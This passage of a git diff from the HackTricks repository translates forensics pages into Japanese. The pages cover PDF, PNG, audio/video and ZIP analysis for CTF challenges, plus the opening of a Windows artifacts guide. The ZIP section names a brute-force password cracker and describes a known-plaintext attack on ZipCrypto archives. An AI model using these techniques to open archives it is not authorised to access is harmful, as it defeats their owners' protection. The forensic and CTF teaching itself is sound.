repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -PDF is an extremely complicated document file format, with enough tricks and hiding places [to write about for years](https://www.sultanik.com/pocorgtfo/). This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures." It's no longer available at its original URL, but you can [find a copy here](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini also keeps a wiki on GitHub of [PDF file format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md). +PDFは非常に複雑なドキュメントファイル形式であり、[何年もの間にわたって書かれるほど](https://www.sultanik.com/pocorgtfo/)のトリックや隠し場所があります。これは、CTFフォレンジックチャレンジでも人気があります。NSAは2008年に「Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures」というタイトルのガイドを作成しましたが、元のURLでは入手できなくなっています。ただし、[ここでコピーを見つけることができます](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)。Ange Albertiniは、[PDFファイル形式のトリックの](https://github.com/corkami/docs/blob/master/PDF/PDF.md)GitHub上のウィキも保持しています。 -The PDF format is partially plain-text, like HTML, but with many binary "objects" in the contents. Didier Stevens has written [good introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) about the format. The binary objects can be compressed or even encrypted data, and include content in scripting languages like JavaScript or Flash. To display the structure of a PDF, you can either browse it with a text editor or open it with a PDF-aware file-format editor like Origami. +PDF形式は部分的にはHTMLのようなプレーンテキストですが、多くのバイナリ「オブジェクト」を含んでいます。Didier Stevensは、[フォーマットに関する良い入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を書いています。バイナリオブジェクトには、圧縮または暗号化されたデータが含まれることもあり、JavaScriptやFlashのようなスクリプト言語でのコンテンツも含まれます。PDFの構造を表示するには、テキストエディタで閲覧するか、OrigamiのようなPDF対応のファイル形式エディタで開くことができます。 -[qpdf](https://github.com/qpdf/qpdf) is one tool that can be useful for exploring a PDF and transforming or extracting information from it. Another is a framework in Ruby called [Origami](https://github.com/mobmewireless/origami-pdf). +[qpdf](https://github.com/qpdf/qpdf)は、PDFを探索し、情報を変換または抽出するのに役立つツールの1つです。もう1つはRubyのフレームワークである[Origami](https://github.com/mobmewireless/origami-pdf)です。 -When exploring PDF content for hidden data, some of the hiding places to check include: +隠しデータを探索する際にチェックするいくつかの隠し場所には、次のものがあります。 -* non-visible layers -* Adobe's metadata format "XMP" -* the "incremental generation" feature of PDF wherein a previous version is retained but not visible to the user -* white text on a white background -* text behind images -* an image behind an overlapping image -* non-displayed comments +* 非表示のレイヤー +* Adobeのメタデータ形式「XMP」 +* PDFの「増分生成」機能。以前のバージョンはユーザーには表示されませんが、保持されます +* 白い背景に白いテキスト +* 画像の後ろにテキスト +* 重なり合う画像の後ろに画像 +* 非表示のコメント -There are also several Python packages for working with the PDF file format, like [PeepDF](https://github.com/jesparza/peepdf), that enable you to write your own parsing scripts. +また、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonパッケージもあり、PDFファイル形式で作業するためのもので、独自の解析スクリプトを作成することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index a1a3ec194..5fbf75905 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,42 +1,20 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify the correctness or attempt to repair corrupted PNGs you can use [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html) - -You can try to repair corrupted PNGs using online tools like [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/) - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +PNGファイルは、特にCTFチャレンジで人気があります。おそらく、非視覚データを画像に隠すのに適した無損失圧縮のためです。PNGファイルはWiresharkで解析することができます。正確性を検証するか、破損したPNGを修復するために、[pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)を使用できます。 +オンラインツール([https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/))を使用して、破損したPNGを修復することもできます。 diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 1d963fcaa..e27276257 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,33 +1,31 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video are fun. As with image file formats, steganography might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata. +画像ファイル形式と同様に、オーディオおよびビデオファイルのトリックは、CTFフォレンジックの課題で一般的です。これは、現実世界ではハッキングやデータの隠蔽がこの方法で行われるわけではなく、単にオーディオとビデオが楽しいからです。画像ファイル形式と同様に、ステガノグラフィーを使用してコンテンツデータに秘密のメッセージを埋め込むことがあり、再びファイルのメタデータ領域をチェックする必要があります。最初のステップは、[mediainfo](https://mediaarea.net/en/MediaInfo)ツール(または`exiftool`)で内容のタイプを確認し、メタデータを確認することです。 -[Audacity](http://www.audacityteam.org/) is the premier open-source audio file and waveform-viewing tool. CTF challenge authors love to encode text into audio waveforms, which you can see using the spectrogram view \(although a specialized tool called [Sonic Visualiser](http://www.sonicvisualiser.org/) is better for this task in particular\). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one \(if you can hear garbled audio, interference, or static\). [Sox](http://sox.sourceforge.net/) is another useful command-line tool for converting and manipulating audio files. +[Audacity](http://www.audacityteam.org/)は、最も優れたオープンソースのオーディオファイルおよび波形表示ツールです。CTFの課題作成者は、テキストをオーディオ波形にエンコードすることが好きで、これはスペクトログラムビューを使用して確認できます(ただし、この特定のタスクには[Sonic Visualiser](http://www.sonicvisualiser.org/)という専門ツールの方が優れています)。 Audacityは、ガーブル音、干渉、または静的がある場合に隠されたメッセージを明らかにする可能性がある、スローダウン、逆再生などの操作も可能です。 [Sox](http://sox.sourceforge.net/)は、オーディオファイルの変換と操作に役立つ別の便利なコマンドラインツールです。 -It's also common to check Least Significant Bits (LSB) for a secret message. Most audio and video media formats use discrete (fixed-size) "chunks" so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file. +また、秘密のメッセージをLSB(Least Significant Bits)にエンコードすることも一般的です。ほとんどのオーディオおよびビデオメディア形式は、ストリーミングできるように個別の(固定サイズの)「チャンク」を使用するため、これらのチャンクのLSBは、ファイルに目に見える影響を与えずにデータを密輸するための一般的な場所です。 -Other times, a message might be encoded into the audio as [DTMF tones](http://dialabc.com/sound/detect/index.html) or morse code. For these, try working with [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) to decode them. +他の場合では、メッセージはオーディオに[DTMFトーン](http://dialabc.com/sound/detect/index.html)やモールス符号としてエンコードされている場合があります。これらの場合は、[multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)を使用してデコードを試みてください。 -Video file formats are container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, [FFmpeg](http://ffmpeg.org/) is recommended. `ffmpeg -i` gives an initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of FFmpeg is exposed to Python using [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). +ビデオファイル形式は、再生のためにオーディオとビデオの別々のストリームを含むコンテナ形式です。ビデオファイル形式の分析と操作には、[FFmpeg](http://ffmpeg.org/)が推奨されています。 `ffmpeg -i`は、ファイルの内容の初期分析を提供します。また、コンテンツストリームをデマルチプレクスまたは再生することもできます。FFmpegのパワーは、[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)を使用してPythonに公開されています。 @@ -35,16 +33,14 @@ Video file formats are container formats, that contain separate streams of both ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index cb8234c79..fc130d266 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,41 +1,29 @@ -# ZIPs tricks +# ZIPのトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-There are a handful of command-line tools for zip files that will be useful to know about. +ZIPファイルに関するいくつかのコマンドラインツールがあります。これらは役立つ情報を提供します。 -* `unzip` will often output helpful information on why a zip will not decompress. -* `zipdetails -v` will provide in-depth information on the values present in the various fields of the format. -* `zipinfo` lists information about the zip file's contents, without extracting it. -* `zip -F input.zip --out output.zip` and `zip -FF input.zip --out output.zip` attempt to repair a corrupted zip file. -* [fcrackzip](https://github.com/hyc/fcrackzip) brute-force guesses a zip password (for passwords <7 characters or so). +* `unzip`は、ZIPファイルの解凍ができない理由についての情報を表示することがあります。 +* `zipdetails -v`は、フォーマットのさまざまなフィールドに存在する値に関する詳細情報を提供します。 +* `zipinfo`は、ZIPファイルの内容についての情報をリストアップしますが、解凍はしません。 +* `zip -F input.zip --out output.zip`と`zip -FF input.zip --out output.zip`は、破損したZIPファイルを修復しようとします。 +* [fcrackzip](https://github.com/hyc/fcrackzip)は、ZIPのパスワードをブルートフォースで推測します(パスワードが7文字以下の場合など)。 -[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) +[ZIPファイル形式の仕様](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) -One important security-related note about password-protected zip files is that they do not encrypt the filenames and original file sizes of the compressed files they contain, unlike password-protected RAR or 7z files. +パスワードで保護されたZIPファイルに関する重要なセキュリティ上の注意点は、パスワードで保護されたRARや7zファイルとは異なり、それらが含む圧縮ファイルのファイル名と元のファイルサイズを暗号化しないことです。 -Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that are compressed in the encrypted zip, you can perform a "plaintext attack" and crack the zip, as [detailed here](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), and explained in [this paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). The newer scheme for password-protecting zip files (with AES-256, rather than "ZipCrypto") does not have this weakness. +また、ZIPのクラッキングに関する注意点として、暗号化されたZIPに圧縮されているファイルの中で暗号化されていない/非圧縮のコピーがある場合、[ここで詳しく説明されているように](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)、「平文攻撃」を実行してZIPをクラッキングすることができます。新しいZIPファイルのパスワード保護スキーム("ZipCrypto"ではなくAES-256を使用)には、この弱点はありません。 From: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://localhost:5000/s/-L\_2uGJGU7AVNRcqRvEi/) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 51bf6a6ea..5ad113e5b 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,255 +1,241 @@ -# Windows Artifacts +# Windowsのアーティファクト -## Windows Artifacts +## Windowsのアーティファクト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Generic Windows Artifacts +## 一般的なWindowsのアーティファクト -### Windows 10 Notifications +### Windows 10の通知 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +パス `\Users\\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat` (Windows Anniversaryより前) または `wpndatabase.db` (Windows Anniversary以降) があります。 -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +このSQLiteデータベース内には、興味深いデータを含むすべての通知(XML形式)が含まれる `Notification` テーブルがあります。 -### Timeline +### タイムライン -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +タイムラインは、訪れたウェブページ、編集されたドキュメント、実行されたアプリケーションの**時系列の履歴**を提供するWindowsの特徴です。 -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +データベースはパス `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` にあります。このデータベースはSQLiteツールまたはツール[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)で開くことができます。このツールは、2つのファイルを生成し、ツール[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)で開くことができます。 -### ADS (Alternate Data Streams) +### ADS(Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. 